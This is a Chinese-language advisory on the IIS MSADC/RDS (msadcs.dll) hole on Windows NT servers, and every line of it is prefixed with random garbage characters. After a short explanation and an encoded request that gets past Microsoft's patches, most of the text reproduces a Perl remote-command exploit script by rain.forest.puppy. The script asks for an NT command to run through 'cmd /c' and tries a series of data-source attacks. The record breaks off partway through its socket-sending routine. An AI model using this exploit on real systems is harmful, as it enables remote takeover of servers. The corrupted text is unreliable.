IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
SHw%u~[hu fo63H'7 涉及程序:
;p~ &G"-C` Microsoft NT server
eySV -f{ DKV^c' 描述:
$gi{)'z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
v#iKa+tx x:TBZh?@$ 详细:
zk+&5d4( 如果你没有时间读详细内容的话,就删除:
|*4)G6J@n c:\Program Files\Common Files\System\Msadc\msadcs.dll
P8DT2|Z6f] 有关的安全问题就没有了。
\cq
gCab/2 3nfw:. 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
f
=H,BQ 4:$?u}9[:[ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
:3qA7D } 关于利用ODBC远程漏洞的描述,请参看:
&1hJ?uM01 ]=A=VH& http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 28l",j)S ],ow@} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
,BM6s,\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp Nrl&"IK|J <v<TsEI 这里不再论述。
".&x`C "hRw_< 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
r>+Hwj0> .e2qa /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
w$J0/eX{A 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
0mB]*<x8 #4h_(Y {e,m<mAi #将下面这段保存为txt文件,然后: "perl -x 文件名"
owA3>E5t& uHdrHP #!perl
A8JEig 3Ix #
csTX',c # MSADC/RDS 'usage' (aka exploit) script
w yO@oi
Vn #
c1j) # by rain.forest.puppy
Y$3H$F.+ #
Ba/Z<1) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
jREj]V> # beta test and find errors!
oD,f5Ci- M70X dn use Socket; use Getopt::Std;
6,'v
/A- getopts("e:vd:h:XR", \%args);
0*^)n&O ]saf<?fzr print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
kvh}{@|- E^S[8= if (!defined $args{h} && !defined $args{R}) {
bu"R2~sb print qq~
}zVPdBRfm Usage: msadc.pl -h <host> { -d <delay> -X -v }
ADRjCk}I -h <host> = host you want to scan (ip or domain)
nGA'\+zjL -d <seconds> = delay between calls, default 1 second
}9fH`C/m -X = dump Index Server path table, if available
6L~@jg~0A[ -v = verbose
U6qv8*~ -e = external dictionary file for step 5
lp5`Kw\ 5J1A|qII Or a -R will resume a command session
0N.tPF} ;J pdnV ~; exit;}
KU[eY} yEt :g0Z\ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:bMCmY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
*&B1(&{:V if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'>>
IMF if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
W#|]m=2W $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
vrXmzq if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
ABEC{3fWpu FQ?,&s$Bmd if (!defined $args{R}){ $ret = &has_msadc;
4R\bU"+jZ_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
wzB*M}3 s)<#a(! print "Please type the NT commandline you want to run (cmd /c assumed):\n"
"/hM& . "cmd /c ";
Oy[1_qfP $in=<STDIN>; chomp $in;
/h%<e $command="cmd /c " . $in ;
7\d{F)7E _GK^ 7}u if (defined $args{R}) {&load; exit;}
!_s|h@ !c:Q+:,H print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
e;pVoRI &try_btcustmr;
HyXw^ +tsj H V<|eL # print "\nStep 2: Trying to make our own DSN...";
2}]6~i &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
zvL&V
.> $*K5 print "\nStep 3: Trying known DSNs...";
zfL$z,zgf &known_dsn;
rq9{m( {rGq|Bj print "\nStep 4: Trying known .mdbs...";
t$r^'ZN &known_mdb;
^4]#Ri=U 8rXq-V_u if (defined $args{e}){
.%`|vGF print "\nStep 5: Trying dictionary of DSN names...";
}uWJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
uOc>~ITPS wKum{X8 print "Sorry Charley...maybe next time?\n";
8,YF>O& exit;
@8Drhx >5wA B ##############################################################################
>1a-}>r +,7dj:0S sub sendraw { # ripped and modded from whisker
j2lo~J) sleep($delay); # it's a DoS on the server! At least on mine...
L@S"c
( my ($pstr)=@_;
k@5#^G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3XY$w&